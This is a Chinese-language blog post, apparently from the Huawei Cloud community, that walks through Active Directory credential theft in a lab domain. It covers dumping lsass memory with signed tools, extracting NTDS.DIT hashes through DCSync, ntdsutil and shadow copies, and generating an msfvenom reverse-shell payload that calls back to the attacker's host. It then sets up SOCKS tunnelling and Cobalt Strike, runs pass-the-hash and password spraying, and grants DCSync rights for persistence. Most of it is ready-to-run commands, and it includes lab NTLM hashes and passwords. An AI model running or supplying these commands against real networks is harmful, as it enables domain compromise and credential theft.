内网渗透-mimikatz的多种用法下

举报
亿人安全 发表于 2024/09/30 17:37:41 2024/09/30
【摘要】 这里一共有两种转储方式miniDump:应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。full dump:全部的转储文件。导出后拖入本地机器使用mimikatz进行分析即可。mimikatz.exe "sekurlsa::m...

这里一共有两种转储方式

miniDump:

应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。

full dump:

全部的转储文件。

导出后拖入本地机器使用mimikatz进行分析即可。

mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit

AvDump

图片

AvDump.exe是杀软Avast自带的一个程序,该程序可以用来dump进程的内存,拥有Avast的签名

.\\AvDump.exe --pid 612 --exception\_ptr 0 --thread\_id 0 --dump\_level 1 --dump\_file l.dmp --min\_interval 0

注意:需要在powershell的环境下执行命令。

导出后拖入本地机器使用mimikatz进行分析即可。

mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit

DumpMinitool

该工具来自vs2022,可以自行安装Visual Studio2022,然后访问路径,把工具拖出来使用即可。

图片

DumpMinitool.exe --file 9.dmp --processId 612 --dumpType Full

获取域hash值

前面提到了抓取当前机器的明文密码,在内网域环境中,最终的目标就是获取域控权限,因此,域中hash才是重中之重。

和本地用户的SAM文件相同,域内的hash存储在一个文件NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT。这里面包含的不只是Username和HASH,还有OU、Group等信息。

总结来说,获取域hash一共有三个方式

1.利用dcsync功能获取域hash(可在域成员主机)

2.利用域控自带的服务ntdsutil.exe,生成ntds.dit文件快照,然后离线分析导出hash(需在域控主机下)

3.利用卷影拷贝服务拷贝C盘,进行导出ntds.dit(需在域控主机下)

利用dcsync功能来获取域内用户的hash

在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。(权限维持,通过对域内普通用户添加DCSync权限,达到权限维持的作用)

Mimikatz

通过mimikatz获取域用户hash。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。

privilege::debug

lsadump::dcsync /domain:vvvv1.com /all /csv

lsadump::dcsync /domain:vvvv1.com /user:test

图片

Invoke-DCSync

Invoke-DCSync是一个基于powershell的脚本。

Powershell -ExecutionPolicy Bypass

Import-Module ./Invoke-DCSync.ps1

Invoke-DCSync -PWDumpFormat

图片

提取NTDS.DIT,SAM和SYSTEM文件

注意,如果不是使用dcsync功能进行提取域内用户hash,导出NTDS.DIT必须要在域控下进行。

https://zhuanlan.zhihu.com/p/464067739

secretsdump

使用impacket工具包中的secretsdump来导出散列

python3 secretsdump.py VVVV1/admins:User\\!@#45@10.10.10.10

python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2

图片

Nishang

Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合,并被广泛应用于渗透测试的各个阶段。

Nishang中的Copy-VSS脚本可用于自动化的提取需要的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被提取到当前的工作目录或你指定的文件夹中。通过生成现有的ntds.dit文件快照,来导出ntds.dit文件。

Powershell -ExecutionPolicy Bypass

Import-Module .\\Copy-VSS.ps1

Copy-VSS

Copy-VSS -DestinationDir C:\\ShadowCopy\\ (指定文件夹输出)

提取成功后可以利用mimikatz来进行导出文件中的hash密码

mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" "exit"

图片

Ntdsutil

ntdsutil是一个命令行工具,是域控制器生态系统的一部分,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。

ntdsutil是域控自带的一个软件,可以用来导出ntds.dit,前提是登陆到域控机器。(在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。)
ntdsutil.exe

activate instance ntds

ifm

create full C:\\ntdsutil

quit

quit

作用是建立ntds.dit文件快照,并且导出到文件夹中,便于离线分析。

生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。

图片

当然,也可以直接生成C盘的卷影副本。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

图片

挂载快照

ntdsutil snapshot "mount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit

图片

装载后就可以直接在C盘根目录进行访问。

图片

直接复制ntds.dit

copy C:\\\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit

或者远程复制

copy \\\\10.10.10.10\\C$\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit

卸载快照

ntdsutil snapshot "unmount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
图片

删除快照

ntdsutil snapshot "delete {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit

图片

NTDSDump

导出了NTDS.DIT和SYSTEM文件后该如何离线分析呢?

这里使用工具NTDSDUMP来进行离线分析导出域内用户hash值

NTDSDumpEx.exe -d ntds.dit -s SYSTEM

图片

vssadmin

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。

1.创建一个C盘的卷影拷贝。

vssadmin create shadow /for=C:

图片

2.然后在创建的卷影拷贝中将ntds.dit和SYSTEM复制到C盘中。

copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\ntds.dit

copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\SYSTEM

图片

3.最后将刚刚创建的卷影拷贝删除即可

vssadmin delete shadows /for=c: /quiet

esentutl

esentutl /y /vss C:\\Windows\\System32\\config\\SAM /d C:\\Users\\16229\\Desktop\\SAM

// /vss 生成对应的卷影副本

图片

对于远程使用卷影副本的总结:

对于目前的工具貌似并没有可以直接远程生成目标主机的卷影副本的方法,但是可以通过间接的方式远程生成卷影副本并导出所需文件。

比如首先远程使用计划任务,执行生成卷影副本等命令,然后用过copy远程复制回本地进行分析。

模拟渗透场景进行导出域hash

这里我们主要使用两个集成工具进行操作:Metasploit和coablt_strike

图片

Metasploit

边界主机web-2012

图片

kali:

图片

在当前的网络环境下,我们只能访问到边界主机web-2012,无法访问到域内网的环境。

这里我们使用直接生成msf的木马,直接上传到边界主机(由于靶机还未搭载任何服务,因此直接进行上传木马开始内网渗透)

kali执行命令生成木马:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.126.164 LPORT=1234 -f exe -o shell.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

set lport 1234

set lhost 192.168.126.164

边界主机运行上传的木马:

发现会话已经反弹到kali

图片

查看信息,发现该主机存在双网卡

图片

查看一波信息,发现我们拿到的用户权限为本地的管理员权限

图片

发现无法访问域内资源

图片

加载msf中的mimikatz模块导出hash

进行进程迁移到system权限

migrate [PID]

图片

图片

load kiwi #加载kiwi模块

creds_all #列举所有凭据

kiwi_cmd sekurlsa::logonpasswords #使用mimikatz的全部功能

该方式是从lsass.exe的内存中提权hash,可以使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。

图片

发现我们抓取到域用户的账户,使用RDP登陆查看或者使用Psexec进行登陆

(注意需要目标主机开启远程管理服务)

图片

图片

定位域控

net group "Domain Controllers" /domain

图片

图片

图片

发现可以访问域控的资源,为高权限域用户。

接下来可以使用dcsync功能来进行获取域内用户hash,或者通过代理隧道登陆域控主机直接导出ntds.dit

1.使用dcsync功能

导入mimikatz

lsadump::dcsync /domain:vvvv1.com /all /csv

图片

2.通过代理隧道登陆域控主机直接导出ntds.dit

使用代理工具stowaway

控制端:

上传控制端到kali, 使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接

./linux\_x64\_admin -l 192.168.126.164:2222 -s 123

被控制端:

windows\_x64\_agent.exe -c 192.168.126.164:2222 -s 123 --reconnect 8

设置socks5代理端口为7777,且账号密码为admin/admin

socks 7777 admin admin

本机使用Proxifier进行连接socks代理

图片

图片

如果不适用代理,无法连接内网地址

图片

代理成功后,发现可以远程连接内网主机

图片

使用ntdsutil导出ntds.dit和STSTEM文件

ntdsutil.exe

activate instance ntds

ifm
create full C:\\ntdsutil

quit

quit

图片

将ntds.dit和STSTEM文件拖到本地,使用NTDSDumpEx.exe进行分析导出域内用户hash即可

图片

coablt_strike

设置监听器

图片

生成一个exe上传到目标主机运行。

图片3

目标主机上线cs

图片

登陆的机器为边界主机,拥有双网卡

图片

当前用户的权限为administrator

图片

使用插件进行提权,发现成功获取到system权限

图片

查询域内信息,发现域控名为AD-2016

图片

使用当前SYSTEM权限访问域内信息,发现只是低权限的域用户,无法访问到域控的资源

图片

使用net veiw探测网络情况

图片

直接run mimikatz

图片

可以看到跑出一共域用户admins

图片

对探测出的网络用户,使用凭据进行密码喷洒

注意使用psexec需要SMB建立监听器

图片

图片

成功上线所有的机器

图片

使用域控的会话,在LSTAR插件中导出域内用户hash

图片

获取到域内所有用户的hash。

图片

VPN模式和socks代理模式使用dcsync导出域hash

VPN环境

在VPN中可以随意导出域hash

首先进行hash传递为用户添加导出dcsync的权限。

man1:0ec4b410903c6dc7594464f27d347497

admins: 0ec4b410903c6dc7594464f27d347497

administrator:ad5a870327c02f83cb947af6a94a4c23

ad-2016$: 99ac70cee2d4370638397a39c71db91d

EXCHANGE-2016$ :a377e26f4118ba88ce1af6a4f8ac9daf

使用mimikatz进行hash传递攻击。

图片

privilege::debug

sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23

sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d

经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限

lsadump::dcsync /domain:vvvv1.com /all /csv

图片

经过测试,添加这两项的用户可以进行具有dcsync权限。

图片

查询具有dcsync权限的用户

AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

使用命令行给用户添加dcsync权限

通过加载Powershell渗透框架下的PowerView.ps1脚本实现。

Powershell -ExecutionPolicy Bypass

Import-Module .\\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。

图片

但是域管理员账户是拥有授予其他人dcsync服务的权限。

图片

图片

发现man03已经被添加dcsync权限了。

删除man03的dcsync权限

Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

发现已经删除

图片

查询用户权限

Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs

图片

man1:0ec4b410903c6dc7594464f27d347497

admins: 0ec4b410903c6dc7594464f27d347497

administrator:ad5a870327c02f83cb947af6a94a4c23

ad-2016$: 99ac70cee2d4370638397a39c71db91d

使用mimikatz进行hash传递攻击。

图片

privilege::debug

sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23

sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d

经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限

lsadump::dcsync /domain:vvvv1.com /all /csv

图片

经过测试,添加这两项的用户可以进行具有dcsync权限。

图片

查询具有dcsync权限的用户

AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

使用命令行给用户添加dcsync权限

通过加载Powershell渗透框架下的PowerView.ps1脚本实现。

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。

图片

但是域管理员账户是拥有授予其他人dcsync服务的权限。

图片

图片

发现man03已经被添加dcsync权限了。

删除man03的dcsync权限

Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

发现已经删除

图片

查询用户权限

Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs

图片

socks代理环境

在socks代理环境中,虽然我们的主机连接了socks代理,但是我们的dns无法解析,域控也没有指定,因此使用dcsync的时候需要指定域控才行。

经过测试,只能使用sharpkatz进行指定域控导出域hash。

SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10

SharpKatz.exe --Command dcsync --DomainController 10.10.10.100 --AuthUser administrator --AuthDomain ww1.com --AuthPassword admin!@#1456

SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash f1065013e55bbbeb64ddab768229710d

添加SID,就可以解决无法找到GUID的问题

SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 --AuthUser administrator --AuthDomain vvvv1.com --AuthPassword admin!@#4567 --DomainSid S-1-5-21-3315874494-179465980-3412869843

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。